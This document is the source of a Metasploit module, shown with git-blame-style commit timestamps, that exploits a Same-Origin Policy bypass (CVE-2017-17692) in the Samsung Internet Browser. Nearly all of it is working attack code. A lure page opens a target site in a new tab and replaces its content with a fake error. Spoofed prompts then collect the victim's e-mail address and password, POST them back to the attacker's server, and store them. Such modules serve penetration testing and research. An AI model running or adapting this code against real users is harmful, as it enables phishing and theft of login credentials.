2017-11-07 08:54:50 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2017-12-13 22:38:17 +00:00
|
|
|
'Name' => 'Samsung Internet Browser SOP Bypass',
|
2017-11-07 08:54:50 +00:00
|
|
|
'Description' => %q(
|
2017-12-08 18:24:58 +00:00
|
|
|
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
|
|
|
|
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
|
2017-12-12 20:06:18 +00:00
|
|
|
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
|
|
|
|
credentials via a fake pop-up.
|
2017-11-07 08:54:50 +00:00
|
|
|
),
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
2017-12-12 10:22:55 +00:00
|
|
|
'Dhiraj Mishra', # Original discovery, disclosure
|
|
|
|
'Tod Beardsley', # Metasploit module
|
|
|
|
'Jeffrey Martin' # Metasploit module
|
2017-11-07 08:54:50 +00:00
|
|
|
],
|
2017-11-07 15:59:16 +00:00
|
|
|
'References' => [
|
2017-12-16 16:40:02 +00:00
|
|
|
[ 'CVE', '2017-17692' ],
|
|
|
|
['URL', 'http://fr.0day.today/exploit/description/28434']
|
2017-11-07 08:54:50 +00:00
|
|
|
],
|
2017-12-13 22:38:17 +00:00
|
|
|
'DisclosureDate' => 'Nov 08 2017',
|
2017-11-07 08:54:50 +00:00
|
|
|
'Actions' => [[ 'WebServer' ]],
|
|
|
|
'PassiveActions' => [ 'WebServer' ],
|
|
|
|
'DefaultAction' => 'WebServer'
|
|
|
|
)
|
|
|
|
)
|
2017-12-08 19:51:02 +00:00
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('TARGET_URL', [
|
|
|
|
true,
|
2017-12-13 22:38:17 +00:00
|
|
|
'The URL to spoof origin from.',
|
2017-12-12 10:22:55 +00:00
|
|
|
'http://example.com/'
|
2017-12-08 19:51:02 +00:00
|
|
|
]),
|
|
|
|
OptString.new('CUSTOM_HTML', [
|
|
|
|
true,
|
2017-12-13 22:38:17 +00:00
|
|
|
'HTML to display to the victim.',
|
2017-12-13 22:48:05 +00:00
|
|
|
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
|
2017-12-13 22:38:17 +00:00
|
|
|
])
|
2017-12-12 20:06:18 +00:00
|
|
|
])
|
2017-12-08 19:51:02 +00:00
|
|
|
|
2017-12-12 20:06:18 +00:00
|
|
|
register_advanced_options([
|
|
|
|
OptString.new('CUSTOM_JS', [
|
|
|
|
false,
|
2017-12-14 20:27:41 +00:00
|
|
|
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
|
2017-12-12 20:06:18 +00:00
|
|
|
''
|
2017-12-08 19:51:02 +00:00
|
|
|
])
|
2017-12-12 20:06:18 +00:00
|
|
|
])
|
|
|
|
|
2017-11-07 08:54:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
exploit # start http server
|
|
|
|
end
|
|
|
|
|
2017-12-12 20:06:18 +00:00
|
|
|
def evil_javascript
|
2017-12-13 22:48:05 +00:00
|
|
|
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
|
|
|
|
js = <<-EOS
|
|
|
|
setTimeout(function(){
|
|
|
|
x.document.body.innerHTML='<h1>404 Error</h1>'+
|
|
|
|
'<p>Oops, something went wrong.</p>';
|
|
|
|
a=x.prompt('E-mail','');
|
|
|
|
b=x.prompt('Password','');
|
|
|
|
var cred=JSON.stringify({'user':a,'pass':b});
|
|
|
|
var xmlhttp = new XMLHttpRequest;
|
|
|
|
xmlhttp.open('POST', window.location, true);
|
|
|
|
xmlhttp.send(cred);
|
|
|
|
}, 3000);
|
|
|
|
EOS
|
|
|
|
js
|
2017-12-12 20:06:18 +00:00
|
|
|
end
|
|
|
|
|
2017-11-07 08:54:50 +00:00
|
|
|
def setup
|
2017-12-08 19:51:02 +00:00
|
|
|
@html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<meta charset="UTF-8">
|
2017-12-13 22:38:17 +00:00
|
|
|
<head>
|
2017-12-08 19:51:02 +00:00
|
|
|
<script>
|
|
|
|
function go(){
|
2017-12-13 22:48:05 +00:00
|
|
|
try {
|
|
|
|
var x = window.open('#{datastore['TARGET_URL']}');
|
|
|
|
#{evil_javascript}
|
|
|
|
} catch(e) { }
|
2017-12-08 19:51:02 +00:00
|
|
|
}
|
|
|
|
</script>
|
2017-12-13 22:38:17 +00:00
|
|
|
</head>
|
2017-12-08 19:51:02 +00:00
|
|
|
<body onclick="go()">
|
|
|
|
#{datastore['CUSTOM_HTML']}
|
|
|
|
</body></html>
|
|
|
|
EOS
|
2017-11-07 08:54:50 +00:00
|
|
|
end
|
|
|
|
|
2017-12-12 20:06:18 +00:00
|
|
|
def store_cred(username,password)
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :import,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
filename: 'msfconsole',
|
|
|
|
workspace_id: myworkspace_id,
|
|
|
|
service_name: 'web_service',
|
|
|
|
realm_value: datastore['TARGET_URL'],
|
|
|
|
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
|
|
|
private_type: :password,
|
|
|
|
private_data: password,
|
|
|
|
username: username
|
|
|
|
}
|
|
|
|
create_credential(credential_data)
|
|
|
|
end
|
|
|
|
|
|
|
|
# This assumes the default schema is being used.
|
|
|
|
# If it's not that, it'll just display the collected POST data.
|
2017-12-08 19:51:02 +00:00
|
|
|
def collect_data(request)
|
2017-12-12 20:06:18 +00:00
|
|
|
cred = JSON.parse(request.body)
|
|
|
|
u = cred['user']
|
|
|
|
p = cred['pass']
|
2017-12-13 22:48:05 +00:00
|
|
|
if u.blank? || p.blank?
|
2017-12-12 20:06:18 +00:00
|
|
|
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
|
2017-12-13 22:48:05 +00:00
|
|
|
else
|
|
|
|
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
|
2017-12-14 20:27:41 +00:00
|
|
|
store_cred(u,p)
|
2017-12-12 20:06:18 +00:00
|
|
|
end
|
2017-11-07 08:54:50 +00:00
|
|
|
end
|
2017-12-08 19:51:02 +00:00
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
case request.method.downcase
|
|
|
|
when 'get' # initial connection
|
|
|
|
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
|
|
|
|
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
|
|
|
|
send_response(cli, @html)
|
|
|
|
when 'post' # must have fallen for it
|
|
|
|
collect_data(request)
|
|
|
|
else
|
|
|
|
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2017-11-07 08:54:50 +00:00
|
|
|
end
|